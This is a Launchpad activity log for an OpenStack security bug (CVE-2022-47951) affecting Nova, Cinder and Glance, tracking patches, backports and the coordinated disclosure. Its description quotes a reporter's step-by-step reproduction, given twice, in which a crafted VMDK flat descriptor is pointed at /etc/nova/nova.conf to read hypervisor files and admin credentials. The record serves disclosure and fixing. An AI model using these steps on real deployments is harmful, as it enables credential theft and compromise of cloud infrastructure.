Activity log for bug #1996188

Date Who What changed Old value New value Message
2022-11-10 13:41:54 Jeremy Stanley bug added bug
2022-11-10 13:42:26 Jeremy Stanley bug added subscriber Nova Core security contacts
2022-11-10 13:42:51 Jeremy Stanley bug added subscriber Arnaud Morin
2022-11-10 13:43:29 Jeremy Stanley bug task added ossa
2022-11-10 13:43:36 Jeremy Stanley ossa: status New Incomplete
2022-11-10 13:48:49 Jeremy Stanley bug added subscriber Pierre Libeau
2022-11-10 13:49:02 Jeremy Stanley bug added subscriber Damien RANNOU
2022-11-10 13:49:18 Jeremy Stanley bug added subscriber Guillaume Espanel
2022-11-10 14:57:06 Dan Smith bug added subscriber Brian Rosmaita
2022-11-10 18:41:54 Dan Smith attachment added nova-1996188.patch https://bugs.launchpad.net/nova/+bug/1996188/+attachment/5630408/+files/nova-1996188.patch
2022-11-11 03:06:41 melanie witt bug added subscriber melanie witt
2022-11-11 16:16:59 Dan Smith attachment added nova-1996188-2.patch https://bugs.launchpad.net/nova/+bug/1996188/+attachment/5630610/+files/nova-1996188-2.patch
2022-11-12 18:12:55 Brian Rosmaita bug task added cinder
2022-11-12 18:15:35 Brian Rosmaita attachment added Cinder patch for bug-1996188 https://bugs.launchpad.net/cinder/+bug/1996188/+attachment/5630660/+files/cinder-1996188.patch
2022-11-14 14:33:24 Dan Smith attachment added glance-1996188.patch https://bugs.launchpad.net/nova/+bug/1996188/+attachment/5630734/+files/glance-1996188.patch
2022-11-14 15:42:26 Brian Rosmaita attachment added cinder-1996188-2.patch https://bugs.launchpad.net/nova/+bug/1996188/+attachment/5630740/+files/cinder-1996188-2.patch
2022-11-14 15:46:25 Jeremy Stanley bug added subscriber Cinder Core security contacts
2022-11-18 15:15:17 Dan Smith attachment added glance-1996188-2.patch https://bugs.launchpad.net/nova/+bug/1996188/+attachment/5631413/+files/glance-1996188-2.patch
2022-11-23 22:38:47 Brian Rosmaita attachment added cinder-1996188-3.patch https://bugs.launchpad.net/nova/+bug/1996188/+attachment/5632388/+files/cinder-1996188-3.patch
2022-11-30 04:07:32 Brian Rosmaita attachment added cinder-1996188-4.patch https://bugs.launchpad.net/nova/+bug/1996188/+attachment/5633287/+files/cinder-1996188-4.patch
2022-12-02 15:53:22 Brian Rosmaita attachment added cinder-1996188-5.patch https://bugs.launchpad.net/nova/+bug/1996188/+attachment/5633959/+files/cinder-1996188-5.patch
2022-12-08 14:02:43 Brian Rosmaita bug added subscriber Glance Core security contacts
2022-12-08 14:03:33 Brian Rosmaita bug task added glance
2022-12-14 20:13:54 Brian Rosmaita attachment removed Cinder patch for bug-1996188 https://bugs.launchpad.net/nova/+bug/1996188/+attachment/5630660/+files/cinder-1996188.patch
2022-12-14 20:14:13 Brian Rosmaita attachment removed cinder-1996188-2.patch https://bugs.launchpad.net/nova/+bug/1996188/+attachment/5630740/+files/cinder-1996188-2.patch
2022-12-14 20:14:27 Brian Rosmaita attachment removed cinder-1996188-3.patch https://bugs.launchpad.net/nova/+bug/1996188/+attachment/5632388/+files/cinder-1996188-3.patch
2022-12-14 20:14:39 Brian Rosmaita attachment removed cinder-1996188-4.patch https://bugs.launchpad.net/nova/+bug/1996188/+attachment/5633287/+files/cinder-1996188-4.patch
2022-12-14 20:14:50 Brian Rosmaita attachment removed cinder-1996188-5.patch https://bugs.launchpad.net/nova/+bug/1996188/+attachment/5633959/+files/cinder-1996188-5.patch
2022-12-14 20:25:59 Brian Rosmaita attachment added cinder-1996188-master.patch https://bugs.launchpad.net/nova/+bug/1996188/+attachment/5635638/+files/cinder-1996188-master.patch
2022-12-14 20:26:46 Brian Rosmaita attachment added cinder-1996188-zed.patch https://bugs.launchpad.net/nova/+bug/1996188/+attachment/5635639/+files/cinder-1996188-zed.patch
2022-12-14 20:27:16 Brian Rosmaita attachment added cinder-1996188-yoga.patch https://bugs.launchpad.net/nova/+bug/1996188/+attachment/5635640/+files/cinder-1996188-yoga.patch
2022-12-14 20:27:55 Brian Rosmaita attachment added cinder-1996188-xena.patch https://bugs.launchpad.net/nova/+bug/1996188/+attachment/5635641/+files/cinder-1996188-xena.patch
2022-12-14 20:28:37 Brian Rosmaita attachment added cinder-1996188-wallaby.patch https://bugs.launchpad.net/nova/+bug/1996188/+attachment/5635642/+files/cinder-1996188-wallaby.patch
2022-12-19 17:25:07 Abhishek Kekane attachment added glance-1996188-master.patch https://bugs.launchpad.net/nova/+bug/1996188/+attachment/5636450/+files/glance-1996188-master.patch
2022-12-19 17:25:49 Abhishek Kekane attachment added glance-1996188-zed.patch https://bugs.launchpad.net/nova/+bug/1996188/+attachment/5636451/+files/glance-1996188-zed.patch
2022-12-19 17:26:25 Abhishek Kekane attachment added glance-1996188-yoga.patch https://bugs.launchpad.net/nova/+bug/1996188/+attachment/5636452/+files/glance-1996188-yoga.patch
2022-12-19 17:27:01 Abhishek Kekane attachment added glance-1996188-xena.patch https://bugs.launchpad.net/nova/+bug/1996188/+attachment/5636453/+files/glance-1996188-xena.patch
2022-12-19 17:27:43 Abhishek Kekane attachment added glance-1996188-wallaby.patch https://bugs.launchpad.net/nova/+bug/1996188/+attachment/5636454/+files/glance-1996188-wallaby.patch
2022-12-19 17:28:51 Abhishek Kekane attachment added glance-1996188-victoria.patch https://bugs.launchpad.net/nova/+bug/1996188/+attachment/5636455/+files/glance-1996188-victoria.patch
2022-12-19 17:29:19 Abhishek Kekane attachment added glance-1996188-ussuri.patch https://bugs.launchpad.net/nova/+bug/1996188/+attachment/5636456/+files/glance-1996188-ussuri.patch
2022-12-19 17:29:49 Abhishek Kekane attachment added glance-1996188-train.patch https://bugs.launchpad.net/nova/+bug/1996188/+attachment/5636457/+files/glance-1996188-train.patch
2022-12-19 19:42:20 Jeremy Stanley ossa: status Incomplete Confirmed
2022-12-19 19:42:24 Jeremy Stanley ossa: importance Undecided High
2022-12-19 19:42:28 Jeremy Stanley ossa: assignee Jeremy Stanley (fungi)
2022-12-24 19:07:40 Jeremy Stanley ossa: status Confirmed In Progress
2022-12-25 14:18:15 Jeremy Stanley summary Arbitrary file access through custom VMDK flat descriptor Arbitrary file access through custom VMDK flat descriptor (CVE-2022-47951)
2022-12-25 14:19:36 Jeremy Stanley cve linked 2022-47951
2023-01-10 18:25:12 Dan Smith attachment added Xena-specific backport https://bugs.launchpad.net/nova/+bug/1996188/+attachment/5640530/+files/nova-1996188-xena.patch
2023-01-11 14:59:43 Brian Rosmaita attachment removed cinder-1996188-wallaby.patch https://bugs.launchpad.net/nova/+bug/1996188/+attachment/5635642/+files/cinder-1996188-wallaby.patch
2023-01-11 15:00:59 Brian Rosmaita attachment added cinder-1996188-wallaby.patch https://bugs.launchpad.net/nova/+bug/1996188/+attachment/5640733/+files/cinder-1996188-wallaby.patch
2023-01-14 14:35:08 Brian Rosmaita attachment added cinder-1996188-victoria.patch https://bugs.launchpad.net/nova/+bug/1996188/+attachment/5641359/+files/cinder-1996188-victoria.patch
2023-01-16 21:31:24 Brian Rosmaita attachment added cinder-1996188-ussuri.patch https://bugs.launchpad.net/nova/+bug/1996188/+attachment/5641756/+files/cinder-1996188-ussuri.patch
2023-01-16 21:31:55 Brian Rosmaita attachment added cinder-1996188-train.patch https://bugs.launchpad.net/nova/+bug/1996188/+attachment/5641757/+files/cinder-1996188-train.patch
2023-01-17 21:55:31 Jeremy Stanley ossa: status In Progress Fix Committed
2023-01-17 23:40:08 Jeremy Stanley bug added subscriber Mohammed Naser
2023-01-19 14:19:36 Jeremy Stanley bug added subscriber Thomas Goirand
2023-01-19 17:01:28 Jeremy Stanley bug added subscriber Nathanael Burton
2023-01-20 18:32:05 Thomas Goirand attachment added cve-2022-47951-nova-stable-victoria.patch https://bugs.launchpad.net/nova/+bug/1996188/+attachment/5642746/+files/cve-2022-47951-nova-stable-victoria.patch
2023-01-20 19:12:02 Dan Smith attachment added nova-1996188-xena-2.patch https://bugs.launchpad.net/nova/+bug/1996188/+attachment/5642750/+files/nova-1996188-xena-2.patch
2023-01-23 12:46:37 Jeremy Stanley bug added subscriber Kurt Garloff
2023-01-23 14:09:00 Jeremy Stanley bug added subscriber Jonas Schäfer
2023-01-24 13:06:35 Jeremy Stanley bug added subscriber Felix Huettner
2023-01-24 13:57:10 Felix Huettner attachment added cve-2022-47951-cinder-stable-queens-felix.patch https://bugs.launchpad.net/nova/+bug/1996188/+attachment/5643142/+files/cve-2022-47951-cinder-stable-queens-felix.patch
2023-01-24 13:57:35 Felix Huettner attachment added cve-2022-47951-cinder-stable-rocky-felix.patch https://bugs.launchpad.net/nova/+bug/1996188/+attachment/5643143/+files/cve-2022-47951-cinder-stable-rocky-felix.patch
2023-01-24 13:57:52 Felix Huettner attachment added cve-2022-47951-cinder-stable-stein-felix.patch https://bugs.launchpad.net/nova/+bug/1996188/+attachment/5643144/+files/cve-2022-47951-cinder-stable-stein-felix.patch
2023-01-24 13:58:09 Felix Huettner attachment added cve-2022-47951-cinder-stable-ussuri-felix.patch https://bugs.launchpad.net/nova/+bug/1996188/+attachment/5643145/+files/cve-2022-47951-cinder-stable-ussuri-felix.patch
2023-01-24 13:58:31 Felix Huettner attachment added cve-2022-47951-nova-stable-queens-felix.patch https://bugs.launchpad.net/nova/+bug/1996188/+attachment/5643146/+files/cve-2022-47951-nova-stable-queens-felix.patch
2023-01-24 13:58:56 Felix Huettner attachment added cve-2022-47951-nova-stable-rocky-felix.patch https://bugs.launchpad.net/nova/+bug/1996188/+attachment/5643147/+files/cve-2022-47951-nova-stable-rocky-felix.patch
2023-01-24 13:59:15 Felix Huettner attachment added cve-2022-47951-nova-stable-stein-felix.patch https://bugs.launchpad.net/nova/+bug/1996188/+attachment/5643148/+files/cve-2022-47951-nova-stable-stein-felix.patch
2023-01-24 13:59:35 Felix Huettner attachment added cve-2022-47951-nova-stable-train-felix.patch https://bugs.launchpad.net/nova/+bug/1996188/+attachment/5643149/+files/cve-2022-47951-nova-stable-train-felix.patch
2023-01-24 13:59:49 Felix Huettner attachment added cve-2022-47951-nova-stable-ussuri-felix.patch https://bugs.launchpad.net/nova/+bug/1996188/+attachment/5643150/+files/cve-2022-47951-nova-stable-ussuri-felix.patch
2023-01-24 14:00:09 Felix Huettner attachment added cve-2022-47951-nova-stable-victoria-felix.patch https://bugs.launchpad.net/nova/+bug/1996188/+attachment/5643151/+files/cve-2022-47951-nova-stable-victoria-felix.patch
2023-01-24 14:00:29 Felix Huettner attachment added cve-2022-47951-nova-stable-wallaby-felix.patch https://bugs.launchpad.net/nova/+bug/1996188/+attachment/5643152/+files/cve-2022-47951-nova-stable-wallaby-felix.patch
2023-01-24 15:00:07 Jeremy Stanley description This issue is being treated as a potential security risk under embargo. Please do not make any public mention of embargoed (private) security vulnerabilities before their coordinated publication by the OpenStack Vulnerability Management Team in the form of an official OpenStack Security Advisory. This includes discussion of the bug or associated fixes in public forums such as mailing lists, code review systems and bug trackers. Please also avoid private disclosure to other individuals not already approved for access to this information, and provide this same reminder to those who are made aware of the issue prior to publication. All discussion should remain confined to this private bug report, and any proposed fixes should be added to the bug as attachments. This embargo shall not extend past 2023-02-08 and will be made public by or on that date even if no fix is identified. The vulnerability managers received the following report from Sébastien Meriot with OVH via encrypted E-mail: Our Openstack team did discover what looks like a security issue in Nova this morning allowing a remote attacker to read any file on the system. After making a quick CVSS calculation, we got a CVSS of 5.8 (CVSS:3.0/AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:N/A:N). Here is the details : By using a VMDK file, you can dump any file on the hypervisor. 1. Create an image: qemu-img create -f vmdk leak.vmdk 1M -o subformat=monolithicFlat 2. Edit the leak.vmdk and change the name this way: RW 2048 FLAT "leak-flat.vmdk" 0 --> RW 2048 FLAT "/etc/nova/nova.conf" 0 3. Upload the image: openstack image create --file leak.vmdk leak.vmdk 4. Start a new instance: openstack server create --image leak.vmdk --net demo --flavor nano leak-instance 5. The instance won't boot of course. You can create an image from this instance: openstack server image create --name leak-instance-image leak-instance 6. Download the image: openstack image save --file leak-instance-image leak-instance-image 7. You get access to the nova.conf file content and you can get access to the openstack admin creds. We are working on a fix and would be happy to share it with you if needed. We think it does affect Nova but it could affect Glance as well. We're not sure yet. [postscript per Arnaud Morin (amorin) in IRC] cinder seems also affected The vulnerability managers received the following report from Sébastien Meriot with OVH via encrypted E-mail: Our Openstack team did discover what looks like a security issue in Nova this morning allowing a remote attacker to read any file on the system. After making a quick CVSS calculation, we got a CVSS of 5.8 (CVSS:3.0/AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:N/A:N). Here is the details : By using a VMDK file, you can dump any file on the hypervisor. 1. Create an image: qemu-img create -f vmdk leak.vmdk 1M -o subformat=monolithicFlat 2. Edit the leak.vmdk and change the name this way: RW 2048 FLAT "leak-flat.vmdk" 0 --> RW 2048 FLAT "/etc/nova/nova.conf" 0 3. Upload the image: openstack image create --file leak.vmdk leak.vmdk 4. Start a new instance: openstack server create --image leak.vmdk --net demo --flavor nano leak-instance 5. The instance won't boot of course. You can create an image from this instance: openstack server image create --name leak-instance-image leak-instance 6. Download the image: openstack image save --file leak-instance-image leak-instance-image 7. You get access to the nova.conf file content and you can get access to the openstack admin creds. We are working on a fix and would be happy to share it with you if needed. We think it does affect Nova but it could affect Glance as well. We're not sure yet. [postscript per Arnaud Morin (amorin) in IRC] cinder seems also affected
2023-01-24 15:00:14 Jeremy Stanley information type Private Security Public Security
2023-01-24 15:01:19 OpenStack Infra glance: status New In Progress
2023-01-24 15:02:20 OpenStack Infra cinder: status New In Progress
2023-01-24 15:16:27 Jeremy Stanley summary Arbitrary file access through custom VMDK flat descriptor (CVE-2022-47951) [OSSA-2023-002] Arbitrary file access through custom VMDK flat descriptor (CVE-2022-47951)
2023-01-24 15:16:35 Christian Rohmann bug added subscriber Christian Rohmann
2023-01-24 15:51:55 OpenStack Infra ossa: status Fix Committed Fix Released
2023-01-24 22:59:57 OpenStack Infra glance: status In Progress Fix Released
2023-01-24 23:07:14 OpenStack Infra tags in-stable-zed
2023-01-25 02:28:09 OpenStack Infra tags in-stable-zed in-stable-yoga in-stable-zed
2023-01-25 09:41:36 Luis Fernández Álvarez bug added subscriber Luis Fernández Álvarez
2023-01-25 16:07:17 OpenStack Infra tags in-stable-yoga in-stable-zed in-stable-xena in-stable-yoga in-stable-zed
2023-01-25 22:25:45 Kabanov Oleg bug added subscriber Kabanov Oleg
2023-01-26 14:48:10 OpenStack Infra tags in-stable-xena in-stable-yoga in-stable-zed in-stable-victoria in-stable-xena in-stable-yoga in-stable-zed
2023-01-27 13:46:02 Sylvain Bauza nova: importance Undecided Critical
2023-01-27 13:46:07 Sylvain Bauza nova: status New Confirmed
2023-01-27 13:47:34 Sylvain Bauza nova: status Confirmed Fix Released
2023-01-27 15:17:37 Brian Rosmaita cinder: importance Undecided Critical
2023-01-27 15:17:44 Brian Rosmaita cinder: status In Progress Fix Released
2023-02-01 02:06:39 OpenStack Infra tags in-stable-victoria in-stable-xena in-stable-yoga in-stable-zed in-stable-victoria in-stable-wallaby in-stable-xena in-stable-yoga in-stable-zed
2023-02-16 01:42:19 OpenStack Infra tags in-stable-victoria in-stable-wallaby in-stable-xena in-stable-yoga in-stable-zed in-stable-ussuri in-stable-victoria in-stable-wallaby in-stable-xena in-stable-yoga in-stable-zed
2023-03-07 16:58:37 OpenStack Infra tags in-stable-ussuri in-stable-victoria in-stable-wallaby in-stable-xena in-stable-yoga in-stable-zed in-stable-train in-stable-ussuri in-stable-victoria in-stable-wallaby in-stable-xena in-stable-yoga in-stable-zed
2023-03-10 06:19:57 Abhishek Kekane glance: assignee Dan Smith (danms)